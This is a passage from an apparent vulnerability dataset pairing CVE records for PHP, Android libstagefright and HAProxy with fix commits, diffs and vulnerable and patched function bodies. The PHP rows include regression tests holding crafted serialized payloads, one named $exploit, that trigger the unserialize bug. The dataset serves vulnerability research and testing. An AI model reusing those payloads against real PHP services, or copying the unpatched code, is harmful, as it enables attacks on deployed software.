c7e8e8a8f7a70b343ca1e0f90a31e35ab2d16de1
|
734d4e159b283a4ae4d007b7e7a91d84398ccb92
| 0
|
static struct net_bridge_mdb_entry *br_mdb_ip6_get(
struct net_bridge_mdb_htable *mdb, const struct in6_addr *dst,
__u16 vid)
{
struct br_ip br_dst;
br_dst.u.ip6 = *dst;
br_dst.proto = htons(ETH_P_IPV6);
br_dst.vid = vid;
return br_mdb_ip_get(mdb, &br_dst);
}
|
50,231
| null |
Remote
|
Not required
|
Partial
|
CVE-2016-7124
|
https://www.cvedetails.com/cve/CVE-2016-7124/
|
CWE-502
|
Low
|
Partial
|
Partial
| null |
2016-09-11
| 7.5
|
ext/standard/var_unserializer.c in PHP before 5.6.25 and 7.x before 7.0.10 mishandles certain invalid objects, which allows remote attackers to cause a denial of service or possibly have unspecified other impact via crafted serialized data that leads to a (1) __destruct call or (2) magic method call.
|
2018-01-04
|
DoS
| 0
|
https://github.com/php/php-src/commit/20ce2fe8e3c211a42fee05a461a5881be9a8790e?w=1
|
20ce2fe8e3c211a42fee05a461a5881be9a8790e?w=1
|
Fix bug #72663 - destroy broken object when unserializing
(cherry picked from commit 448c9be157f4147e121f1a2a524536c75c9c6059)
| 0
|
ext/standard/var_unserializer.c
|
{"sha": "e61f939d4dbef881c33b8eb6bfb809a70c479f16", "filename": "ext/standard/tests/strings/bug72663.phpt", "status": "added", "additions": 26, "deletions": 0, "changes": 26, "blob_url": "https://github.com/php/php-src/blob/20ce2fe8e3c211a42fee05a461a5881be9a8790e/ext/standard/tests/strings/bug72663.phpt", "raw_url": "https://github.com/php/php-src/raw/20ce2fe8e3c211a42fee05a461a5881be9a8790e/ext/standard/tests/strings/bug72663.phpt", "contents_url": "https://api.github.com/repos/php/php-src/contents/ext/standard/tests/strings/bug72663.phpt?ref=20ce2fe8e3c211a42fee05a461a5881be9a8790e", "patch": "@@ -0,0 +1,26 @@\n+--TEST--\n+Bug #72663: Create an Unexpected Object and Don't Invoke __wakeup() in Deserialization\n+--FILE--\n+<?php\n+class obj implements Serializable {\n+ var $data;\n+ function serialize() {\n+ return serialize($this->data);\n+ }\n+ function unserialize($data) {\n+ $this->data = unserialize($data);\n+ }\n+}\n+\n+$inner = 'a:1:{i:0;O:9:\"Exception\":2:{s:7:\"'.\"\\0\".'*'.\"\\0\".'file\";R:4;}';\n+$exploit = 'a:2:{i:0;C:3:\"obj\":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';\n+\n+$data = unserialize($exploit);\n+echo $data[1];\n+?>\n+DONE\n+--EXPECTF--\n+Notice: unserialize(): Unexpected end of serialized data in %sbug72663.php on line %d\n+\n+Notice: unserialize(): Error at offset 46 of 47 bytes in %sbug72663.php on line %d\n+DONE\n\\ No newline at end of file"}<_**next**_>{"sha": "ac605e9fd2647fe21e53763f81f52e1363f2f4c7", "filename": "ext/standard/tests/strings/bug72663_2.phpt", "status": "added", "additions": 17, "deletions": 0, "changes": 17, "blob_url": "https://github.com/php/php-src/blob/20ce2fe8e3c211a42fee05a461a5881be9a8790e/ext/standard/tests/strings/bug72663_2.phpt", "raw_url": "https://github.com/php/php-src/raw/20ce2fe8e3c211a42fee05a461a5881be9a8790e/ext/standard/tests/strings/bug72663_2.phpt", "contents_url": "https://api.github.com/repos/php/php-src/contents/ext/standard/tests/strings/bug72663_2.phpt?ref=20ce2fe8e3c211a42fee05a461a5881be9a8790e", "patch": "@@ -0,0 +1,17 @@\n+--TEST--\n+Bug #72663: Create an Unexpected Object and Don't Invoke __wakeup() in Deserialization\n+--FILE--\n+<?php\n+\n+ini_set('session.serialize_handler', 'php_serialize');\n+session_start();\n+$sess = 'O:9:\"Exception\":2:{s:7:\"'.\"\\0\".'*'.\"\\0\".'file\";R:1;}';\n+session_decode($sess);\n+var_dump($_SESSION);\n+?>\n+DONE\n+--EXPECTF--\n+Notice: session_decode(): Unexpected end of serialized data in %sbug72663_2.php on line %d\n+array(0) {\n+}\n+DONE\n\\ No newline at end of file"}<_**next**_>{"sha": "6b33d84bd2eed5fe26d7914dab362611de051f57", "filename": "ext/standard/var_unserializer.c", "status": "modified", "additions": 15, "deletions": 14, "changes": 29, "blob_url": "https://github.com/php/php-src/blob/20ce2fe8e3c211a42fee05a461a5881be9a8790e/ext/standard/var_unserializer.c", "raw_url": "https://github.com/php/php-src/raw/20ce2fe8e3c211a42fee05a461a5881be9a8790e/ext/standard/var_unserializer.c", "contents_url": "https://api.github.com/repos/php/php-src/contents/ext/standard/var_unserializer.c?ref=20ce2fe8e3c211a42fee05a461a5881be9a8790e", "patch": "@@ -1,4 +1,4 @@\n-/* Generated by re2c 0.13.5 */\n+/* Generated by re2c 0.13.7.5 */\n #line 1 \"ext/standard/var_unserializer.re\"\n /*\n +----------------------------------------------------------------------+\n@@ -687,7 +687,8 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \tif (yybm[0+yych] & 128) {\n \t\tgoto yy20;\n \t}\n-\tif (yych != ':') goto yy18;\n+\tif (yych <= '/') goto yy18;\n+\tif (yych >= ';') goto yy18;\n \tyych = *++YYCURSOR;\n \tif (yych != '\"') goto yy18;\n \t++YYCURSOR;\n@@ -836,7 +837,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \n \treturn object_common2(UNSERIALIZE_PASSTHRU, elements);\n }\n-#line 804 \"ext/standard/var_unserializer.c\"\n+#line 805 \"ext/standard/var_unserializer.c\"\n yy25:\n \tyych = *++YYCURSOR;\n \tif (yych <= ',') {\n@@ -868,7 +869,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \treturn object_common2(UNSERIALIZE_PASSTHRU,\n \t\t\tobject_common1(UNSERIALIZE_PASSTHRU, ZEND_STANDARD_CLASS_DEF_PTR));\n }\n-#line 836 \"ext/standard/var_unserializer.c\"\n+#line 837 \"ext/standard/var_unserializer.c\"\n yy32:\n \tyych = *++YYCURSOR;\n \tif (yych == '+') goto yy33;\n@@ -913,7 +914,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \n \treturn finish_nested_data(UNSERIALIZE_PASSTHRU);\n }\n-#line 881 \"ext/standard/var_unserializer.c\"\n+#line 882 \"ext/standard/var_unserializer.c\"\n yy39:\n \tyych = *++YYCURSOR;\n \tif (yych == '+') goto yy40;\n@@ -968,7 +969,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \tZVAL_STR(rval, str);\n \treturn 1;\n }\n-#line 936 \"ext/standard/var_unserializer.c\"\n+#line 937 \"ext/standard/var_unserializer.c\"\n yy46:\n \tyych = *++YYCURSOR;\n \tif (yych == '+') goto yy47;\n@@ -1021,7 +1022,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \tZVAL_STRINGL(rval, str, len);\n \treturn 1;\n }\n-#line 989 \"ext/standard/var_unserializer.c\"\n+#line 990 \"ext/standard/var_unserializer.c\"\n yy53:\n \tyych = *++YYCURSOR;\n \tif (yych <= '/') {\n@@ -1118,7 +1119,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \tZVAL_DOUBLE(rval, zend_strtod((const char *)start + 2, NULL));\n \treturn 1;\n }\n-#line 1086 \"ext/standard/var_unserializer.c\"\n+#line 1087 \"ext/standard/var_unserializer.c\"\n yy65:\n \tyych = *++YYCURSOR;\n \tif (yych <= ',') {\n@@ -1193,7 +1194,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \n \treturn 1;\n }\n-#line 1161 \"ext/standard/var_unserializer.c\"\n+#line 1162 \"ext/standard/var_unserializer.c\"\n yy76:\n \tyych = *++YYCURSOR;\n \tif (yych == 'N') goto yy73;\n@@ -1246,7 +1247,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \tZVAL_LONG(rval, parse_iv(start + 2));\n \treturn 1;\n }\n-#line 1214 \"ext/standard/var_unserializer.c\"\n+#line 1215 \"ext/standard/var_unserializer.c\"\n yy83:\n \tyych = *++YYCURSOR;\n \tif (yych <= '/') goto yy18;\n@@ -1260,7 +1261,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \tZVAL_BOOL(rval, parse_iv(start + 2));\n \treturn 1;\n }\n-#line 1228 \"ext/standard/var_unserializer.c\"\n+#line 1229 \"ext/standard/var_unserializer.c\"\n yy87:\n \t++YYCURSOR;\n #line 573 \"ext/standard/var_unserializer.re\"\n@@ -1269,7 +1270,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \tZVAL_NULL(rval);\n \treturn 1;\n }\n-#line 1237 \"ext/standard/var_unserializer.c\"\n+#line 1238 \"ext/standard/var_unserializer.c\"\n yy89:\n \tyych = *++YYCURSOR;\n \tif (yych <= ',') {\n@@ -1317,7 +1318,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \n \treturn 1;\n }\n-#line 1285 \"ext/standard/var_unserializer.c\"\n+#line 1286 \"ext/standard/var_unserializer.c\"\n yy95:\n \tyych = *++YYCURSOR;\n \tif (yych <= ',') {\n@@ -1366,7 +1367,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \n \treturn 1;\n }\n-#line 1334 \"ext/standard/var_unserializer.c\"\n+#line 1335 \"ext/standard/var_unserializer.c\"\n }\n #line 886 \"ext/standard/var_unserializer.re\"\n "}
|
static zend_always_inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, zend_long elements, int objprops)
{
while (elements-- > 0) {
zval key, *data, d, *old_data;
zend_ulong idx;
ZVAL_UNDEF(&key);
if (!php_var_unserialize_internal(&key, p, max, NULL, classes)) {
zval_dtor(&key);
return 0;
}
data = NULL;
ZVAL_UNDEF(&d);
if (!objprops) {
if (Z_TYPE(key) == IS_LONG) {
idx = Z_LVAL(key);
numeric_key:
if (UNEXPECTED((old_data = zend_hash_index_find(ht, idx)) != NULL)) {
var_push_dtor(var_hash, old_data);
data = zend_hash_index_update(ht, idx, &d);
} else {
data = zend_hash_index_add_new(ht, idx, &d);
}
} else if (Z_TYPE(key) == IS_STRING) {
if (UNEXPECTED(ZEND_HANDLE_NUMERIC(Z_STR(key), idx))) {
goto numeric_key;
}
if (UNEXPECTED((old_data = zend_hash_find(ht, Z_STR(key))) != NULL)) {
var_push_dtor(var_hash, old_data);
data = zend_hash_update(ht, Z_STR(key), &d);
} else {
data = zend_hash_add_new(ht, Z_STR(key), &d);
}
} else {
zval_dtor(&key);
return 0;
}
} else {
if (EXPECTED(Z_TYPE(key) == IS_STRING)) {
string_key:
if ((old_data = zend_hash_find(ht, Z_STR(key))) != NULL) {
if (Z_TYPE_P(old_data) == IS_INDIRECT) {
old_data = Z_INDIRECT_P(old_data);
}
var_push_dtor(var_hash, old_data);
data = zend_hash_update_ind(ht, Z_STR(key), &d);
} else {
data = zend_hash_add_new(ht, Z_STR(key), &d);
}
} else if (Z_TYPE(key) == IS_LONG) {
/* object properties should include no integers */
convert_to_string(&key);
goto string_key;
} else {
zval_dtor(&key);
return 0;
}
}
if (!php_var_unserialize_internal(data, p, max, var_hash, classes)) {
zval_dtor(&key);
return 0;
}
if (UNEXPECTED(Z_ISUNDEF_P(data))) {
if (Z_TYPE(key) == IS_LONG) {
zend_hash_index_del(ht, Z_LVAL(key));
} else {
zend_hash_del_ind(ht, Z_STR(key));
}
} else {
var_push_dtor(var_hash, data);
}
zval_dtor(&key);
if (elements && *(*p-1) != ';' && *(*p-1) != '}') {
(*p)--;
return 0;
}
}
|
static zend_always_inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, zend_long elements, int objprops)
{
while (elements-- > 0) {
zval key, *data, d, *old_data;
zend_ulong idx;
ZVAL_UNDEF(&key);
if (!php_var_unserialize_internal(&key, p, max, NULL, classes)) {
zval_dtor(&key);
return 0;
}
data = NULL;
ZVAL_UNDEF(&d);
if (!objprops) {
if (Z_TYPE(key) == IS_LONG) {
idx = Z_LVAL(key);
numeric_key:
if (UNEXPECTED((old_data = zend_hash_index_find(ht, idx)) != NULL)) {
var_push_dtor(var_hash, old_data);
data = zend_hash_index_update(ht, idx, &d);
} else {
data = zend_hash_index_add_new(ht, idx, &d);
}
} else if (Z_TYPE(key) == IS_STRING) {
if (UNEXPECTED(ZEND_HANDLE_NUMERIC(Z_STR(key), idx))) {
goto numeric_key;
}
if (UNEXPECTED((old_data = zend_hash_find(ht, Z_STR(key))) != NULL)) {
var_push_dtor(var_hash, old_data);
data = zend_hash_update(ht, Z_STR(key), &d);
} else {
data = zend_hash_add_new(ht, Z_STR(key), &d);
}
} else {
zval_dtor(&key);
return 0;
}
} else {
if (EXPECTED(Z_TYPE(key) == IS_STRING)) {
string_key:
if ((old_data = zend_hash_find(ht, Z_STR(key))) != NULL) {
if (Z_TYPE_P(old_data) == IS_INDIRECT) {
old_data = Z_INDIRECT_P(old_data);
}
var_push_dtor(var_hash, old_data);
data = zend_hash_update_ind(ht, Z_STR(key), &d);
} else {
data = zend_hash_add_new(ht, Z_STR(key), &d);
}
} else if (Z_TYPE(key) == IS_LONG) {
/* object properties should include no integers */
convert_to_string(&key);
goto string_key;
} else {
zval_dtor(&key);
return 0;
}
}
if (!php_var_unserialize_internal(data, p, max, var_hash, classes)) {
zval_dtor(&key);
return 0;
}
if (UNEXPECTED(Z_ISUNDEF_P(data))) {
if (Z_TYPE(key) == IS_LONG) {
zend_hash_index_del(ht, Z_LVAL(key));
} else {
zend_hash_del_ind(ht, Z_STR(key));
}
} else {
var_push_dtor(var_hash, data);
}
zval_dtor(&key);
if (elements && *(*p-1) != ';' && *(*p-1) != '}') {
(*p)--;
return 0;
}
}
|
C
| null | null | null |
@@ -1,4 +1,4 @@
-/* Generated by re2c 0.13.5 */
+/* Generated by re2c 0.13.7.5 */
#line 1 "ext/standard/var_unserializer.re"
/*
+----------------------------------------------------------------------+
@@ -687,7 +687,8 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)
if (yybm[0+yych] & 128) {
goto yy20;
}
- if (yych != ':') goto yy18;
+ if (yych <= '/') goto yy18;
+ if (yych >= ';') goto yy18;
yych = *++YYCURSOR;
if (yych != '"') goto yy18;
++YYCURSOR;
@@ -836,7 +837,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)
return object_common2(UNSERIALIZE_PASSTHRU, elements);
}
-#line 804 "ext/standard/var_unserializer.c"
+#line 805 "ext/standard/var_unserializer.c"
yy25:
yych = *++YYCURSOR;
if (yych <= ',') {
@@ -868,7 +869,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)
return object_common2(UNSERIALIZE_PASSTHRU,
object_common1(UNSERIALIZE_PASSTHRU, ZEND_STANDARD_CLASS_DEF_PTR));
}
-#line 836 "ext/standard/var_unserializer.c"
+#line 837 "ext/standard/var_unserializer.c"
yy32:
yych = *++YYCURSOR;
if (yych == '+') goto yy33;
@@ -913,7 +914,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)
return finish_nested_data(UNSERIALIZE_PASSTHRU);
}
-#line 881 "ext/standard/var_unserializer.c"
+#line 882 "ext/standard/var_unserializer.c"
yy39:
yych = *++YYCURSOR;
if (yych == '+') goto yy40;
@@ -968,7 +969,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)
ZVAL_STR(rval, str);
return 1;
}
-#line 936 "ext/standard/var_unserializer.c"
+#line 937 "ext/standard/var_unserializer.c"
yy46:
yych = *++YYCURSOR;
if (yych == '+') goto yy47;
@@ -1021,7 +1022,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)
ZVAL_STRINGL(rval, str, len);
return 1;
}
-#line 989 "ext/standard/var_unserializer.c"
+#line 990 "ext/standard/var_unserializer.c"
yy53:
yych = *++YYCURSOR;
if (yych <= '/') {
@@ -1118,7 +1119,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)
ZVAL_DOUBLE(rval, zend_strtod((const char *)start + 2, NULL));
return 1;
}
-#line 1086 "ext/standard/var_unserializer.c"
+#line 1087 "ext/standard/var_unserializer.c"
yy65:
yych = *++YYCURSOR;
if (yych <= ',') {
@@ -1193,7 +1194,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)
return 1;
}
-#line 1161 "ext/standard/var_unserializer.c"
+#line 1162 "ext/standard/var_unserializer.c"
yy76:
yych = *++YYCURSOR;
if (yych == 'N') goto yy73;
@@ -1246,7 +1247,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)
ZVAL_LONG(rval, parse_iv(start + 2));
return 1;
}
-#line 1214 "ext/standard/var_unserializer.c"
+#line 1215 "ext/standard/var_unserializer.c"
yy83:
yych = *++YYCURSOR;
if (yych <= '/') goto yy18;
@@ -1260,7 +1261,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)
ZVAL_BOOL(rval, parse_iv(start + 2));
return 1;
}
-#line 1228 "ext/standard/var_unserializer.c"
+#line 1229 "ext/standard/var_unserializer.c"
yy87:
++YYCURSOR;
#line 573 "ext/standard/var_unserializer.re"
@@ -1269,7 +1270,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)
ZVAL_NULL(rval);
return 1;
}
-#line 1237 "ext/standard/var_unserializer.c"
+#line 1238 "ext/standard/var_unserializer.c"
yy89:
yych = *++YYCURSOR;
if (yych <= ',') {
@@ -1317,7 +1318,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)
return 1;
}
-#line 1285 "ext/standard/var_unserializer.c"
+#line 1286 "ext/standard/var_unserializer.c"
yy95:
yych = *++YYCURSOR;
if (yych <= ',') {
@@ -1366,7 +1367,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)
return 1;
}
-#line 1334 "ext/standard/var_unserializer.c"
+#line 1335 "ext/standard/var_unserializer.c"
}
#line 886 "ext/standard/var_unserializer.re"
|
php-src
|
20ce2fe8e3c211a42fee05a461a5881be9a8790e?w=1
|
8d7766a948999b990dbd13f96fa845a26d6f8f66
| 0
|
static zend_always_inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, zend_long elements, int objprops)
{
while (elements-- > 0) {
zval key, *data, d, *old_data;
zend_ulong idx;
ZVAL_UNDEF(&key);
if (!php_var_unserialize_internal(&key, p, max, NULL, classes)) {
zval_dtor(&key);
return 0;
}
data = NULL;
ZVAL_UNDEF(&d);
if (!objprops) {
if (Z_TYPE(key) == IS_LONG) {
idx = Z_LVAL(key);
numeric_key:
if (UNEXPECTED((old_data = zend_hash_index_find(ht, idx)) != NULL)) {
//??? update hash
var_push_dtor(var_hash, old_data);
data = zend_hash_index_update(ht, idx, &d);
} else {
data = zend_hash_index_add_new(ht, idx, &d);
}
} else if (Z_TYPE(key) == IS_STRING) {
if (UNEXPECTED(ZEND_HANDLE_NUMERIC(Z_STR(key), idx))) {
goto numeric_key;
}
if (UNEXPECTED((old_data = zend_hash_find(ht, Z_STR(key))) != NULL)) {
//??? update hash
var_push_dtor(var_hash, old_data);
data = zend_hash_update(ht, Z_STR(key), &d);
} else {
data = zend_hash_add_new(ht, Z_STR(key), &d);
}
} else {
zval_dtor(&key);
return 0;
}
} else {
if (EXPECTED(Z_TYPE(key) == IS_STRING)) {
string_key:
if ((old_data = zend_hash_find(ht, Z_STR(key))) != NULL) {
if (Z_TYPE_P(old_data) == IS_INDIRECT) {
old_data = Z_INDIRECT_P(old_data);
}
var_push_dtor(var_hash, old_data);
data = zend_hash_update_ind(ht, Z_STR(key), &d);
} else {
data = zend_hash_add_new(ht, Z_STR(key), &d);
}
} else if (Z_TYPE(key) == IS_LONG) {
/* object properties should include no integers */
convert_to_string(&key);
goto string_key;
} else {
zval_dtor(&key);
return 0;
}
}
if (!php_var_unserialize_internal(data, p, max, var_hash, classes)) {
zval_dtor(&key);
return 0;
}
if (UNEXPECTED(Z_ISUNDEF_P(data))) {
if (Z_TYPE(key) == IS_LONG) {
zend_hash_index_del(ht, Z_LVAL(key));
} else {
zend_hash_del_ind(ht, Z_STR(key));
}
} else {
var_push_dtor(var_hash, data);
}
zval_dtor(&key);
if (elements && *(*p-1) != ';' && *(*p-1) != '}') {
(*p)--;
return 0;
}
}
|
176,709
| null |
Remote
|
Not required
|
Complete
|
CVE-2015-3835
|
https://www.cvedetails.com/cve/CVE-2015-3835/
|
CWE-119
|
Medium
|
Complete
|
Complete
| null |
2015-09-30
| 9.3
|
Buffer overflow in the OMXNodeInstance::emptyBuffer function in omx/OMXNodeInstance.cpp in libstagefright in Android before 5.1.1 LMY48I allows attackers to execute arbitrary code via a crafted application, aka internal bug 20634516.
|
2015-10-01
|
Exec Code Overflow
| 0
|
https://android.googlesource.com/platform/frameworks/av/+/086d84f45ab7b64d1a7ed7ac8ba5833664a6a5ab
|
086d84f45ab7b64d1a7ed7ac8ba5833664a6a5ab
|
IOMX: Add buffer range check to emptyBuffer
Bug: 20634516
Change-Id: If351dbd573bb4aeb6968bfa33f6d407225bc752c
(cherry picked from commit d971df0eb300356b3c995d533289216f43aa60de)
| 0
|
media/libstagefright/omx/OMXNodeInstance.cpp
|
{"filename": "media/libstagefright/omx/OMXNodeInstance.cpp", "raw_url": "https://android.googlesource.com/platform/frameworks/av/+/086d84f45ab7b64d1a7ed7ac8ba5833664a6a5ab/media/libstagefright/omx/OMXNodeInstance.cpp", "patch": "@@ -980,6 +980,12 @@\n\n Mutex::Autolock autoLock(mLock);\n \n OMX_BUFFERHEADERTYPE *header = findBufferHeader(buffer);\n+ // rangeLength and rangeOffset must be a subset of the allocated data in the buffer.\n+ // corner case: we permit rangeOffset == end-of-buffer with rangeLength == 0.\n+ if (rangeOffset > header->nAllocLen\n+ || rangeLength > header->nAllocLen - rangeOffset) {\n+ return BAD_VALUE;\n+ }\n header->nFilledLen = rangeLength;\n header->nOffset = rangeOffset;\n \n"}
|
OMX_BUFFERHEADERTYPE *OMXNodeInstance::findBufferHeader(OMX::buffer_id buffer) {
return (OMX_BUFFERHEADERTYPE *)buffer;
}
|
OMX_BUFFERHEADERTYPE *OMXNodeInstance::findBufferHeader(OMX::buffer_id buffer) {
return (OMX_BUFFERHEADERTYPE *)buffer;
}
|
C
| null | null | null |
@@ -980,6 +980,12 @@
Mutex::Autolock autoLock(mLock);
OMX_BUFFERHEADERTYPE *header = findBufferHeader(buffer);
+ // rangeLength and rangeOffset must be a subset of the allocated data in the buffer.
+ // corner case: we permit rangeOffset == end-of-buffer with rangeLength == 0.
+ if (rangeOffset > header->nAllocLen
+ || rangeLength > header->nAllocLen - rangeOffset) {
+ return BAD_VALUE;
+ }
header->nFilledLen = rangeLength;
header->nOffset = rangeOffset;
|
Android
|
https://android.googlesource.com/platform/frameworks/av/+/086d84f45ab7b64d1a7ed7ac8ba5833664a6a5ab/
|
https://android.googlesource.com/platform/frameworks/av/+/086d84f45ab7b64d1a7ed7ac8ba5833664a6a5ab%5E/
| 0
|
OMX_BUFFERHEADERTYPE *OMXNodeInstance::findBufferHeader(OMX::buffer_id buffer) {
return (OMX_BUFFERHEADERTYPE *)buffer;
}
|
9,804
| null |
Remote
|
Not required
|
Partial
|
CVE-2014-6269
|
https://www.cvedetails.com/cve/CVE-2014-6269/
|
CWE-189
|
Low
| null | null | null |
2014-09-30
| 5
|
Multiple integer overflows in the http_request_forward_body function in proto_http.c in HAProxy 1.5-dev23 before 1.5.4 allow remote attackers to cause a denial of service (crash) via a large stream of data, which triggers a buffer overflow and an out-of-bounds read.
|
2014-10-02
|
DoS Overflow
| 0
|
https://git.haproxy.org/?p=haproxy-1.5.git;a=commitdiff;h=b4d05093bc89f71377230228007e69a1434c1a0c
|
b4d05093bc89f71377230228007e69a1434c1a0c
| null | 0
| null | null |
int http_process_tarpit(struct session *s, struct channel *req, int an_bit)
{
struct http_txn *txn = &s->txn;
/* This connection is being tarpitted. The CLIENT side has
* already set the connect expiration date to the right
* timeout. We just have to check that the client is still
* there and that the timeout has not expired.
*/
channel_dont_connect(req);
if ((req->flags & (CF_SHUTR|CF_READ_ERROR)) == 0 &&
!tick_is_expired(req->analyse_exp, now_ms))
return 0;
/* We will set the queue timer to the time spent, just for
* logging purposes. We fake a 500 server error, so that the
* attacker will not suspect his connection has been tarpitted.
* It will not cause trouble to the logs because we can exclude
* the tarpitted connections by filtering on the 'PT' status flags.
*/
s->logs.t_queue = tv_ms_elapsed(&s->logs.tv_accept, &now);
txn->status = 500;
if (!(req->flags & CF_READ_ERROR))
stream_int_retnclose(req->prod, http_error_message(s, HTTP_ERR_500));
req->analysers = 0;
req->analyse_exp = TICK_ETERNITY;
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_PRXCOND;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_T;
return 0;
}
|
int http_process_tarpit(struct session *s, struct channel *req, int an_bit)
{
struct http_txn *txn = &s->txn;
/* This connection is being tarpitted. The CLIENT side has
* already set the connect expiration date to the right
* timeout. We just have to check that the client is still
* there and that the timeout has not expired.
*/
channel_dont_connect(req);
if ((req->flags & (CF_SHUTR|CF_READ_ERROR)) == 0 &&
!tick_is_expired(req->analyse_exp, now_ms))
return 0;
/* We will set the queue timer to the time spent, just for
* logging purposes. We fake a 500 server error, so that the
* attacker will not suspect his connection has been tarpitted.
* It will not cause trouble to the logs because we can exclude
* the tarpitted connections by filtering on the 'PT' status flags.
*/
s->logs.t_queue = tv_ms_elapsed(&s->logs.tv_accept, &now);
txn->status = 500;
if (!(req->flags & CF_READ_ERROR))
stream_int_retnclose(req->prod, http_error_message(s, HTTP_ERR_500));
req->analysers = 0;
req->analyse_exp = TICK_ETERNITY;
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_PRXCOND;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_T;
return 0;
}
|
C
| null | null |
2c8d700e8af297a813db1eaae5d45b7b07ac72b6
|
@@ -4886,8 +4886,8 @@ void http_end_txn_clean_session(struct session *s)
s->req->cons->conn_retries = 0; /* used for logging too */
s->req->cons->exp = TICK_ETERNITY;
s->req->cons->flags &= SI_FL_DONT_WAKE; /* we're in the context of process_session */
- s->req->flags &= ~(CF_SHUTW|CF_SHUTW_NOW|CF_AUTO_CONNECT|CF_WRITE_ERROR|CF_STREAMER|CF_STREAMER_FAST|CF_NEVER_WAIT|CF_WAKE_CONNECT);
- s->rep->flags &= ~(CF_SHUTR|CF_SHUTR_NOW|CF_READ_ATTACHED|CF_READ_ERROR|CF_READ_NOEXP|CF_STREAMER|CF_STREAMER_FAST|CF_WRITE_PARTIAL|CF_NEVER_WAIT);
+ s->req->flags &= ~(CF_SHUTW|CF_SHUTW_NOW|CF_AUTO_CONNECT|CF_WRITE_ERROR|CF_STREAMER|CF_STREAMER_FAST|CF_NEVER_WAIT|CF_WAKE_CONNECT|CF_WROTE_DATA);
+ s->rep->flags &= ~(CF_SHUTR|CF_SHUTR_NOW|CF_READ_ATTACHED|CF_READ_ERROR|CF_READ_NOEXP|CF_STREAMER|CF_STREAMER_FAST|CF_WRITE_PARTIAL|CF_NEVER_WAIT|CF_WROTE_DATA);
s->flags &= ~(SN_DIRECT|SN_ASSIGNED|SN_ADDR_SET|SN_BE_ASSIGNED|SN_FORCE_PRST|SN_IGNORE_PRST);
s->flags &= ~(SN_CURR_SESS|SN_REDIRECTABLE|SN_SRV_REUSED);
@@ -5430,7 +5430,7 @@ int http_request_forward_body(struct session *s, struct channel *req, int an_bit
* such as last chunk of data or trailers.
*/
b_adv(req->buf, msg->next);
- if (unlikely(!(s->rep->flags & CF_READ_ATTACHED)))
+ if (unlikely(!(s->req->flags & CF_WROTE_DATA)))
msg->sov -= msg->next;
msg->next = 0;
@@ -5482,7 +5482,7 @@ int http_request_forward_body(struct session *s, struct channel *req, int an_bit
missing_data:
/* we may have some pending data starting at req->buf->p */
b_adv(req->buf, msg->next);
- if (unlikely(!(s->rep->flags & CF_READ_ATTACHED)))
+ if (unlikely(!(s->req->flags & CF_WROTE_DATA)))
msg->sov -= msg->next + MIN(msg->chunk_len, req->buf->i);
msg->next = 0;
|
haproxy
|
https://git.haproxy.org/?p=haproxy-1.5.git;a=blob;f=src/proto_http.c;h=4d27b2c89db01df9e7f9f50932cd66267cdbf232;hb=b4d05093bc89f71377230228007e69a1434c1a0c
|
https://git.haproxy.org/?p=haproxy-1.5.git;a=blob;f=src/proto_http.c;h=a47f0a1e35e4b6d10e4f1672c7a397f0e50a1454
| 0
|
int http_process_tarpit(struct session *s, struct channel *req, int an_bit)
{
struct http_txn *txn = &s->txn;
/* This connection is being tarpitted. The CLIENT side has
* already set the connect expiration date to the right
* timeout. We just have to check that the client is still
* there and that the timeout has not expired.
*/
channel_dont_connect(req);
if ((req->flags & (CF_SHUTR|CF_READ_ERROR)) == 0 &&
!tick_is_expired(req->analyse_exp, now_ms))
return 0;
/* We will set the queue timer to the time spent, just for
* logging purposes. We fake a 500 server error, so that the
* attacker will not suspect his connection has been tarpitted.
* It will not cause trouble to the logs because we can exclude
* the tarpitted connections by filtering on the 'PT' status flags.
*/
s->logs.t_queue = tv_ms_elapsed(&s->logs.tv_accept, &now);
txn->status = 500;
if (!(req->flags & CF_READ_ERROR))
stream_int_retnclose(req->prod, http_error_message(s, HTTP_ERR_500));
req->analysers = 0;
req->analyse_exp = TICK_ETERNITY;
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_PRXCOND;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_T;
return 0;
}
|
161,685
| null |
Remote
|
Not required
|
Partial
|
CVE-2018-6061
|
https://www.cvedetails.com/cve/CVE-2018-6061/
|
CWE-362
|
High
|
Partial
|
Partial
| null |
2018-11-14
